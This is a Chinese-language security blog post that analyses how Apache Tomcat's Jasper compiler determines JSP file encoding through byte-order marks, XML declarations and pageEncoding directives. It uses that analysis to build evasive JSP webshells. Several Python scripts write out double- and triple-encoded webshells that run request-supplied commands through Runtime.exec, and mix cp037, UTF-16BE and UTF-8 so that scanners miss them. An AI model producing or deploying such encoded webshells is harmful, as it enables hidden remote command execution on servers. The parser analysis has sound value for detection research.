浅谈JspWebshell之编码

2024-12-12 39 0

环境相关及其他说明

本篇以tomcat8.0.50为例进⾏分析,后⽂简称为tomcat,同时讨论的是第⼀次访问并编译jsp的过程(有⼩区别不重要)并且不涉及到其他⼩版本差异。

正⽂

这⾥没有那么多废话,我们知道其实jsp是Servlet技术的扩展,它本⾝也是⼀种模板,通过对这个模板内容的解析,根据⼀定规则拼接到⼀个java⽂件后最终会编译为⼀个class⽂件并加载,在这个过程当中就涉及的很多解析的过程,这⾥由于主题限制,我们不必太过关⼼,我们重点偏向于去了解它的编码是如何被识别的即可。

对于这部分处理逻辑其实是org.apache.jasper.compiler.ParserController#determineSyntaxAndEncoding做处理,在这个类⽅法当中有两个⽐较重要的属性 isXmlsourceEnc,字⾯理解就能得出⼀个判定是否jsp格式是通过xml格式编写,另⼀个 sourceEnc也就决定着jsp⽂件的编码相关。

关于xml格式的⼀些简单说明

这⾥我们我们只需要知道encoding属性可以决定内容编码即可。

tomcat对于xml格式还算⽐较严格,其中如果需要⽤到xml声明 <?xml要求“必须”在⾸位,说明下这⾥的必须指的是需要解析并获取这个标签中的属性,⽐如encoding就决定着后续内容的编码,我们需要它⽣效就需要将这个xml声明放置在⽂件内容最前⾯(Ps:这⾥的最前⾯指的是被解码后的字符在⽂件最前⾯,并不是⼀定要求是原⽣的字符串<?xml),当然如果不需要其实这⾥就不太重要了。

<?xml version="1.0" encoding="utf-8" ?>

如果个⼈⽐较好奇这部分代码逻辑可以⾃⾏看看 org.apache.jasper.xmlparser.XMLEncodingDetector#getEncoding(java.io.In
putStream, org.apache.jasper.compiler.ErrorDispatcher)

如何识别我们的⽂件内容是xml格式

接下来再来简单说说是如何识别我们的⽂件是xml格式的呢?

⾸先是根据后缀名 .jspx.tagx,当然这俩不在我们今天讨论的范围内如果后缀名不符合则根据⽂本内容是否包含有形如 <xxx:root格式的⽂本,如果有也会识别为⼀个xml格式。

如何决定⼀个⽂件的编码

如何从字节顺序标记(BOM)判断⽂本内容编码

简单来说这部分逻辑其实和W3C所定义的⼀致

W3C定义了三条XML解析器如何正确读取XML⽂件的编码的规则:

  1. 如果⽂挡有BOM(字节顺序标记),就定义了⽂件编码
  2. 如果没有BOM,就查看XML encoding声明的编码属性
  3. 如果上述两个都没有,就假定XML⽂挡采⽤UTF-8编码

我们的tomcat对这部分实现也是⼿写根据⽂件前4个字节(BOM)来决定⽂件的编码

( org.apache.jasper.compiler.ParserController#determineSyntaxAndEncoding)

具体是通过函数 XMLEncodingDetector#getEncoding来动态决定编码

private Object[] getEncoding(InputStream in, ErrorDispatcher err)
 throws IOException, JasperException
{
 this.stream = in;
 this.err=err;
 createInitialReader();
 scanXMLDecl();
 return new Object[] { this.encoding,
                      Boolean.valueOf(this.isEncodingSetInProlog),
                      Boolean.valueOf(this.isBomPresent),
                      Integer.valueOf(this.skip) };
}

在这⾥有两个关键函数,它们都能决定整个⽂件内容的编码

createInitialReader();
scanXMLDecl();

其中 createInitialReader作⽤有两个⼀个是根据前四个字节(bom)决定encoding也就是编
码,接着往⾥看
org.apache.jasper.xmlparser.XMLEncodingDetector#getEncodingName

逻辑很简单,就是根据前4个字节顺序标记判定⽂件编码

private Object[] getEncodingName(byte[] b4, int count) {
       if (count < 2) {
           return new Object[]{"UTF-8", null, Boolean.FALSE,
Integer.valueOf(0)};
       }
       int b0 = b4[0] & 0xFF;
       int b1 = b4[1] & 0xFF;
       if (b0 == 0xFE && b1 == 0xFF) {
           return new Object [] {"UTF-16BE", Boolean.TRUE,
Integer.valueOf(2)};
       }
       if (b0 == 0xFF && b1 == 0xFE) {
           return new Object [] {"UTF-16LE", Boolean.FALSE,
Integer.valueOf(2)};
       }
       if (count < 3) {
           return new Object [] {"UTF-8", null, Boolean.FALSE,
Integer.valueOf(0)};
       }
       int b2 = b4[2] & 0xFF;
       if (b0 == 0xEF && b1 == 0xBB && b2 == 0xBF) {
           return new Object [] {"UTF-8", null, Integer.valueOf(3)};
       }
 
       if (count < 4) {
           return new Object [] {"UTF-8", null, Integer.valueOf(0)};
       }
       int b3 = b4[3] & 0xFF;
       if (b0 == 0x00 && b1 == 0x00 && b2 == 0x00 && b3 == 0x3C) {
           return new Object [] {"ISO-10646-UCS-4", Boolean.TRUE,
Integer.valueOf(4)};
       }
       if (b0 == 0x3C && b1 == 0x00 && b2 == 0x00 && b3 == 0x00) {
           return new Object [] {"ISO-10646-UCS-4", Boolean.FALSE,
Integer.valueOf(4)};
       }
       if (b0 == 0x00 && b1 == 0x00 && b2 == 0x3C && b3 == 0x00) {
           return new Object [] {"ISO-10646-UCS-4", null,
Integer.valueOf(4)};
       }
       if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x00) {
           return new Object [] {"ISO-10646-UCS-4", null,
Integer.valueOf(4)};
       }
       if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x3F) {
           return new Object [] {"UTF-16BE", Boolean.TRUE,
Integer.valueOf(4)};
       }
       if (b0 == 0x3C && b1 == 0x00 && b2 == 0x3F && b3 == 0x00) {
           return new Object [] {"UTF-16LE", Boolean.FALSE,
Integer.valueOf(4)};
       }
       if (b0 == 0x4C && b1 == 0x6F && b2 == 0xA7 && b3 == 0x94) {
           return new Object [] {"CP037", null, Integer.valueOf(4)};
       }
       return new Object [] {"UTF-8", null, Boolean.FALSE,
Integer.valueOf(0)};
   }

createInitialReader另⼀个作⽤就是初始化Reader对象( reader =createReader(stream, encoding, isBigEndian)),在Reader⾥⾯带有我们对⽂件编码以及字节序列⼤⼩端的关键信息,为下⼀步调⽤ scanXMLDecl 扫描解析xml的申明内容做了⼀个前置准备,在 scanXMLDecl当中我们其实只需要关注和编码相关的属性(Ps:具体逻辑可以⾃⼰看看代码也⽐较简单,这⾥相关度不⾼不多提),也就是上⾯xml⼩节⾥⾯提到的。

<?xml version="1.0" encoding="utf-8" ?>

这⾥⾯xml属性的encoding也可以决定整个⽂件的编码内容,同时我们可以发现这个encoding可以覆盖掉上⼀步的函数 createInitialReader();(通过前四字节识别出的编码识别的encoding),因此配合这个我们也可以构造出⼀种新的双编码jspwebshell,最后会提到。

⽆法根据前四个字节判断⽂本编码怎么办

当⽆法根据前四个字节判断⽂本编码时,jsp还提供了另⼀种⽅式帮助识别编码,对应下图中
getPageEncodingForJspSyntax

有兴趣看看这个函数的实现

private String getPageEncodingForJspSyntax(JspReader jspReader,
           Mark startMark)
   throws JasperException {
       String encoding = null;
       String saveEncoding = null;
       jspReader.reset(startMark);
       while (true) {
           if (jspReader.skipUntil("<") == null) {
               break;
           }
           if (jspReader.matches("%--")) {
               if (jspReader.skipUntil("--%>") == null) {
                   break;
               }
               continue;
           }
           boolean isDirective = jspReader.matches("%@");
           if (isDirective) {
               jspReader.skipSpaces();
           }
           else {
               isDirective = jspReader.matches("jsp:directive.");
           }
           if (!isDirective) {
               continue;
           }
           if (jspReader.matches("tag ") || jspReader.matches("page")) {
               jspReader.skipSpaces();
               Attributes attrs = Parser.parseAttributes(this,
jspReader);
               encoding = getPageEncodingFromDirective(attrs,
"pageEncoding");
               if (encoding != null) {
                   break;
               }
               encoding = getPageEncodingFromDirective(attrs,
"contentType");
               if (encoding != null) {
                   saveEncoding = encoding;
               }
           }
       }
       if (encoding == null) {
           encoding = saveEncoding;
       }
       return encoding;
    }

课代表直接总结了,简单来说最终其实就是根据⽂本内容中的pageEncoding的值来决定最终编
码,这⾥有两种写法。
第⼀种

<%@ page language="java" pageEncoding="utf-16be"%>
或
<%@ page contentType="charset=utf-16be" %>
或
<%@ tag language="java" pageEncoding="utf-16be"%>
或
<%@ tag contentType="charset=utf-16be" %>

第二种

<jsp:directive.page pageEncoding="utf-16be"/>
或
<jsp:directive.page contentType="charset=utf-16be"/>
或
<jsp:directive.tag pageEncoding="utf-16be"/>
或
<jsp:directive.tag contentType="charset=utf-16be"/>

同时如果使⽤的 page 后⾯可以不需要空格,也就是形如 <%@ pagepageEncoding="utf-16be" %><jsp:directive.pagepageEncoding="utf-16be"/>具体可以看看代码的解析这部分不重要。

因此看到这⾥你就知道为什么开头提到的phithon提供的demo能够成功解析的原因了。

第⼆种

第三种

为什么上⾯这个有⼀定局限性

实际上如果你认真看了上⾯的代码你会发现决定具体代码逻辑是否能⾛到这⼀步和isBomPresent的值密不可分,我们也说到了只有⽂件前四个字节⽆法与org.apache.jasper.xmlparser.XMLEncodingDetector#getEncodingName这个⽅法中某个编码匹配,之后假定XML⽂挡采⽤UTF-8编码,最终才能保证 isBomPresent为false,因此这种利⽤的局限性在于⽂件头只能是utf8格式才能保证代码逻辑的正确执⾏。

更灵活的双编码jspwebshell

根据我们前⾯的分析,下⾯这种⽅式实现双编码会更灵活,可以更多样地选择双编码间的组合。
这⾥简单写个python⽣成⼀个即可作为演⽰

a0 = '''<?xml version="1.0" encoding='cp037'?>'''
a1 = '''
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
         version="1.2">
   <jsp:directive.page contentType="text/html"/>
   <jsp:declaration>
   </jsp:declaration>
   <jsp:scriptlet>
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
java.io.BufferedReader input = new java.io.BufferedReader(new
java.io.InputStreamReader(p.getInputStream()));
String line = "";
while ((line = input.readLine()) != null) {
out.write(line+"\\n");
}
</jsp:scriptlet>
   <jsp:text>
   </jsp:text>
</jsp:root>'''
with open("test.jsp","wb") as f:
   f.write(a0.encode("utf-16"))
   f.write(a1.encode("cp037"))

简单测试没⽑病

访问测试

多说⼀下这⾥也只是相对灵活,从执⾏逻辑来看必须要是 XMLEncodingDetector#getEncodingName能够识别的范围才⾏,因此在我这个版本中其实对应着 UTF-8\UTF-16BE\UTF-16LE\ISO-10646-UCS-4\CP037作为前置编码,当然后置就⽆所谓啦基本上java中的都⾏。

避免双编码踩坑

这⾥⾯有⼀个很⼤的坑!什么坑呢?

这⾥我们以前置cp037+后置utf-16为例进⾏说明

我们看看前置部分,通常我们在写前置部分的时候不会在意其长度,⽐如下⾯的代码输出长度为41,这就是⼀个巨⼤的坑点!

a0 = '''<?xml version="1.0" encoding='utf-16be'?>'''
print(len(a0.encode("cp037")))

为什么?我们前⾯说过在后⾯通过⽂件内容判断是否为xml格式时,是通过检查⾥⾯是否含有 <xxx:root这样的代码⽚段来进⾏判断,但是我们可以看看红⾊箭头,这⾥是直接把整个⽂件内容放在jspReader当中做解码。

这意味着什么,我们刚刚说了前⾯部分长度是单数,⽽对于我们的utf-16是两个字节去解码,这就导致本来这⾥应该是 003c作为⼀个整体,由于前⾯ c3p0编码后长度为单数,导致最终为 3c00去做了解码,因此最终导致识别不到 <xxx:root这样的代码⽚段,就导致程序认为这并不是⼀个xml格式的写法。

最终在 org.apache.jasper.compiler.ParserController#doParse做解析并拼接jsp模板的时候⽆法成为正确的代码,⽽识别不到正确的格式就导致执⾏下⾯分⽀出错,原本该是执⾏的代码变成了⼀堆乱码显⽰到页⾯中(有兴趣可以看看下⾯)这个分⽀中具体的解析流程也蛮有意思)。

任意放置的jspReader.matches与%@

刚刚我们只提到了这两个标签的利⽤具有编码的局限性,然⽽如果你再仔细看我们后⾯提出
的两种新的编码利⽤会发现在函数 getPageEncodingForJspSyntax中,它通过while循环
不断往后查找符号 <,之后在调⽤ jspReader.matches 寻找 %@jsp:directive.

private String getPageEncodingForJspSyntax(JspReader jspReader,
           Mark startMark)
   throws JasperException {
       xxxx
       while (true) {
           if (jspReader.skipUntil("<") == null) {

               break;
           }
xxxx
           boolean isDirective = jspReader.matches("%@");
           if (isDirective) {
               jspReader.skipSpaces();
           }
           else {
               isDirective = jspReader.matches("jsp:directive.");
           }
           if (!isDirective) {
               continue;
           }
          xxxx
   }

因此从这⾥我们可以看出 <jsp:directive.<%@ 并没有要求在某个具体的位置,因此它可以在最前⾯,可以在中间甚⾄可以在最后⾯。
这⾥我们可以验证下,这⾥我们把它藏在了⼀个变量当中。

测试demo

a0 = '''<%
   Process p =
Runtime.getRuntime().exec(request.getParameter("y4tacker"));
   java.io.BufferedReader input = new java.io.BufferedReader(new
java.io.InputStreamReader(p.getInputStream()));
   String line = "'''
a1 = '''<%@ page pageEncoding="UTF-16BE"%>'''
a2 = '''";
   while ((line = input.readLine()) != null) {
       out.write(line+"\\n");
   }
%>'''
with open("test2.jsp","wb") as f:
   f.write(a0.encode("utf-16be"))
   f.write(a1.encode("utf-8"))
   f.write(a2.encode("utf-16be"))

成功利⽤

三重编码

在上⾯的基础上我们还可以进⼀步利⽤,为什么呢?我们知道它在识别标签<jsp:directive.<%@的过程中是调⽤了jspReader.xxx去实现的,⽽这个 jspReader来源于前⾯的调⽤

JspReader jspReader = null;
try {
 jspReader = new JspReader(ctxt, absFileName, sourceEnc, jar, err);
} catch (FileNotFoundException ex) {
 throw new JasperException(ex);
}

聪明的你⼀定能看出这⾥的 sourceEnc是我们可以控制的(前⾯讲过了忘了往上翻复习下。

因此我们对整个利⽤梳理⼀下

  1. 保证⽆法通过BOM识别出⽂本内容编码(保证isBomPresent为false)
  2. 通过 <?xml encoding='xxx' 可以控制 sourceEnc的值
  3. 将标签 <jsp:directive. 或 <%@放置在全⽂任意位置但不影响代码解析
  4. 通过标签 <jsp:directive.<%@pageEncoding属性再次更改⽂本内容编码

这⾥我按要求随便写了⼀个符合的例⼦

a0 = '''<?xml version="1.0" encoding='cp037'?>'''
a1 = '''<%
   Process p =
Runtime.getRuntime().exec(request.getParameter("y4tacker"));
   java.io.BufferedReader input = new java.io.BufferedReader(new
java.io.InputStreamReader(p.getInputStream()));
   String line = "'''
a2 = '''<%@ page pageEncoding="UTF-16BE"%>'''
a3 = '''";
   while ((line = input.readLine()) != null) {
       out.write(line+"\\n");
   }
%>'''
with open("test3.jsp","wb") as f:
   f.write(a0.encode("utf-8"))
   f.write(a1.encode("utf-16be"))
   f.write(a2.encode("cp037"))
   f.write(a3.encode("utf-16be"))

⽣成三重编码⽂件

测试利⽤

其他

其实在这个过程当中还顺便发现了⼀个有趣的东西,虽然和讲编码的主题⽆关,但个⼈觉得⽐较有意思就顺便放在最后了,对于jsp不同的部分对应的空格判定是不同的⽐如在对xml⽂件头做解析的时候( <?xml version="1.0" encoding="utf-8" ?>)这⾥调⽤的是 org.apache.jasper.xmlparser.XMLChar#isSpace

public static boolean isSpace(int c) {
       return c <= 0x20 && (CHARS[c] & MASK_SPACE) != 0;
}

省去给⼤家看常量浪费时间,这⾥当课代表总结⼀下就是四个字
\x0d\x0a9\x0a\x0d
⽽在识别 <%@ page language="java" pageEncoding="utf-16be"%>这部分中对空格的判定调⽤的是 org.apache.jasper.compiler.JspReader#isSpace,这⾥判断的空格只要保证在 \x20之前即可

final boolean isSpace() {
 return peekChar() <= ' ';
}

当然更多的部分就不多说啦,毕竟已经和本⽂由点偏离啦。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

应急响应:Windows服务器靶机门罗币挖矿应急处理流程
浅谈目录权限导致的文件劫持
海外的bug-hunters,不一样的403bypass
java代码审计 | struts2框架路由详解
电子数据取证 | 一次电子数据取证的尝试与反思
结合ppid欺骗和远线程注入实现dll挖空

发布评论